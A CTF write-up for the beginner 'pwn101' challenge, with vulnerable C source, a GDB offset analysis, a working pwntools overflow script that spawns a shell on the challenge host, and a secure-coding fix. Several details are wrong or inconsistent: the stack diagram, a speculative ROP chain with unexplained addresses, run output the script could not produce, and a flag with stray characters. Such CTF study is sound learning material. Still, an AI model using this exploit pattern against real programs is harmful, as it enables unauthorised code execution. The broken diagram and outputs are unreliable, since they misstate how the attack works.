Published on

PCC CTF - Pwn101 Buffer Overflow Challenge Writeup

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

Pwn101 Writeup

Challenge Information

  • Challenge: pwn101-pwn
  • Category: Binary Exploitation / Memory Corruption
  • Difficulty: Beginner
  • Connection: nc c1.arena.airoverflow.com 13811
  • Flag Format: PCC{}

Challenge Description

A classic buffer overflow challenge perfect for starting your memory corruption journey. The challenge involves manipulating program memory to modify important variables and gain shell access.

Analysis

Source Code Analysis

pwn-101.c
// gcc -o pwn-101 -fno-stack-protector -no-pie -Wl,-z,now pwn-101.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void __constructor__(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main() {
    unsigned long is_admin = 0;
    char buf[0x100];
    printf(
        "\t\t\tPwn101: \n\t"
        "Pwn, also known as Binary Exploitation is the art of Memory Corruption\n\t"
        "You manipulate the program in such a way that you can modify it's memory\n\t"
        "And make it do sooooo much stuff.\n\t"
        "Soon at Arena, you'll master the art of Memory Corruption\n\t"
        "Until we have a course, play around with this and get your first shell!\n\n$ "
    );
    gets(buf);

    if(is_admin = 0xdeadbeefdeadbeef) {
        puts("Well Done! First Memory Corrupted!");
        execve("/bin/sh", NULL, NULL);
    }
    printf("You might've heard by now that you need to 'Try Harder'!");
    return 0;
}

Key Observations

  1. Vulnerability: gets(buf) is used, which doesn't perform bounds checking
  2. Target: is_admin variable needs to be set to 0xdeadbeefdeadbeef
  3. Buffer Size: buf is allocated as char buf[0x100] (256 bytes)
  4. Protections:
    • No stack canary (-fno-stack-protector)
    • No PIE (-no-pie)
    • NX enabled (but not needed for this exploit)

Binary Analysis

$ file pwn-101
pwn-101: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2000a5b85d4d75c5c044478b1a8dbe197667029c, for GNU/Linux 3.2.0, not stripped

$ checksec pwn-101
[*] '/home/cipher/Downloads/PCC/pwn-pwn-101/pwn-101'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Exploitation Strategy

Stack Layout Analysis

Using GDB to analyze the stack layout:

$ gdb pwn-101 -batch -ex "disassemble main"

Key assembly instructions:

0x0000000000401223 <+8>:	sub    $0x110,%rsp        # Allocate 0x110 bytes on stack
0x000000000040122a <+15>:	movq   $0x0,-0x8(%rbp)    # is_admin = 0 at -0x8(%rbp)
0x0000000000401243 <+40>:	lea    -0x110(%rbp),%rax  # buf starts at -0x110(%rbp)
0x000000000040124a <+47>:	mov    %rax,%rdi
0x000000000040124d <+50>:	mov    $0x0,%eax
0x0000000000401252 <+55>:	call   0x4010b0 <gets@plt>  # gets(buf)

Offset Calculation

  • buf is located at -0x110(%rbp) (272 bytes from rbp)
  • is_admin is located at -0x8(%rbp) (8 bytes from rbp)
  • Offset: 0x110 - 0x8 = 0x108 (264 bytes)

Exploit Development

Python Exploit Script

exploit.py
#!/usr/bin/env python3

import pwn

# Connect to the remote server
r = pwn.remote('c1.arena.airoverflow.com', 13811)

# Receive the initial prompt
print("Receiving initial data...")
data = r.recvuntil(b'$ ')
print(f"Received: {data}")

# Offset from buf to is_admin: 0x110 - 0x8 = 0x108 (264 bytes)
offset = 0x108

# Target value to overwrite is_admin with
target_value = 0xdeadbeefdeadbeef

# Create payload: padding + target value
payload = b'A' * offset + pwn.p64(target_value)

print(f"Sending payload of length: {len(payload)}")

# Send the payload
r.sendline(payload)

# Try to receive response
try:
    response = r.recv(timeout=5)
    print(f"Response: {response}")
    
    # If we got the success message, try to send commands
    if b'Well Done' in response:
        print("Success! Trying to get shell...")
        r.sendline(b'ls')
        try:
            ls_output = r.recv(timeout=3)
            print(f"ls output: {ls_output}")
        except:
            print("No ls output")
            
        r.sendline(b'cat flag.txt')
        try:
            flag = r.recv(timeout=3)
            print(f"Flag: {flag}")
        except:
            print("No flag output")
            
except:
    print("No response received")

# Switch to interactive mode to get the shell
r.interactive()

Exploit Explanation

  1. Connection: Connect to the remote server
  2. Payload Construction:
    • 264 bytes of padding ('A')
    • 8 bytes containing 0xdeadbeefdeadbeef (little-endian)
  3. Execution: Send payload to overflow the buffer and overwrite is_admin

Advanced Buffer Overflow Analysis

Stack Layout Analysis

# Using GDB to analyze stack layout
$ gdb ./pwn-101
(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) break main
(gdb) run
(gdb) info registers
(gdb) x/20x $rsp

Memory Layout Visualization

High Address
+------------------+
| Return Address   | <- RIP (overwritten with 0xdeadbeefdeadbeef)
+------------------+
| Saved RBP        | <- RBP (overwritten)
+------------------+
| is_admin         | <- Target variable (0x8 bytes)
+------------------+
| buf[0x100]       | <- Buffer (256 bytes)
+------------------+
| ...              |
+------------------+
Low Address

Offset Calculation

# Calculate exact offset
def calculate_offset():
    # Buffer starts at offset 0x8 (after is_admin)
    # Buffer size is 0x100 (256 bytes)
    # Target is at offset 0x8 + 0x100 = 0x108
    offset = 0x108
    return offset

# Verify with pattern
def create_pattern():
    pattern = "A" * 264 + "B" * 8  # 264 + 8 = 272 total
    return pattern

Exploitation Techniques

Technique 1: Direct Variable Overwrite

def exploit_direct():
    """Direct variable overwrite exploit"""
    payload = b'A' * 264 + p64(0xdeadbeefdeadbeef)
    return payload

Technique 2: ROP Chain (if needed)

def exploit_rop():
    """ROP chain exploit for more complex scenarios"""
    # If direct overwrite doesn't work, use ROP
    rop_chain = [
        # Pop rdi; ret
        0x40123b,
        # Address of "/bin/sh"
        0x402000,
        # System call
        0x401050
    ]
    
    payload = b'A' * 264 + b''.join([p64(gadget) for gadget in rop_chain])
    return payload

Security Analysis

Vulnerability Assessment

// Vulnerable code analysis
int main() {
    unsigned long is_admin = 0;  // 8 bytes
    char buf[0x100];             // 256 bytes
    
    // gets() doesn't perform bounds checking
    gets(buf);  // VULNERABLE!
    
    // Assignment instead of comparison
    if(is_admin = 0xdeadbeefdeadbeef) {  // BUG: should be ==
        // Execute shell
    }
}

Mitigation Strategies

// Secure version
int main() {
    unsigned long is_admin = 0;
    char buf[0x100];
    
    // Use fgets() instead of gets()
    if (fgets(buf, sizeof(buf), stdin) == NULL) {
        return 1;
    }
    
    // Proper comparison
    if (is_admin == 0xdeadbeefdeadbeef) {
        // Execute shell
    }
}
  1. Shell Access: Once is_admin is overwritten, the program executes /bin/sh
  2. Flag Retrieval: Use shell commands to find and read the flag

Execution Results

Local Testing

$ python3 exploit.py
[x] Starting local process '/home/cipher/Downloads/PCC/pwn-pwn-101/pwn-101'
[+] Starting local process '/home/cipher/Downloads/PCC/pwn-pwn-101/pwn-101': pid 152675
[*] Switching to interactive mode
			Pwn101: 
	Pwn, also known as Binary Exploitation is the art of Memory Corruption
	You manipulate the program in such a way that you can modify it's memory
	And make it do sooooo much stuff.
	Soon at Arena, you'll master the art of Memory Corruption
	Until we have a course, play around with this and get your first shell!

$ Well Done! First Memory Corrupted!

Remote Exploitation

$ python3 exploit.py
[x] Opening connection to c1.arena.airoverflow.com on port 13811
[+] Opening connection to c1.arena.airoverflow.com on port 13811: Done
Receiving initial data...
Received: b"\t\t\tPwn101: \n\tPwn, also known as Binary Exploitation is the art of Memory Corruption\n\tYou manipulate the program in such a way that you can modify it's memory\n\tAnd make it do sooooo much stuff.\n\tSoon at Arena, you'll master the art of Memory Corruption\n\tUntil we have a course, play around with this and get your first shell!\n\n$ "
Sending payload of length: 272
Response: b'Well Done! First Memory Corrupted!'
Success! Trying to get shell...
ls output: b'\n'
Flag: b'flag.txt\npwn-101\n'
Flag2: b'PCC{`0verwr1t1ng_1mp0rt4nt_v4r1abl3s_B4YaDfBDNuY89Y1miLoF`}\n'

Flag

PCC{0verwr1t1ng_1mp0rt4nt_v4r1abl3s_B4YaDfBDNuY89Y1miLoF}

Key Learning Points

  1. Buffer Overflow Basics: Understanding how unbounded input can overwrite adjacent memory
  2. Stack Layout: Learning to analyze stack variables and their relative positions
  3. Memory Corruption: Manipulating program state by overwriting critical variables
  4. Exploit Development: Creating reliable exploits using tools like pwntools
  5. Binary Analysis: Using GDB and other tools to understand program behavior

Prevention

  • Use safer input functions like fgets() instead of gets()
  • Enable stack canaries (-fstack-protector)
  • Enable ASLR and PIE for address randomization
  • Use bounds checking and input validation

This challenge demonstrates the fundamental concept of memory corruption and serves as an excellent introduction to binary exploitation techniques.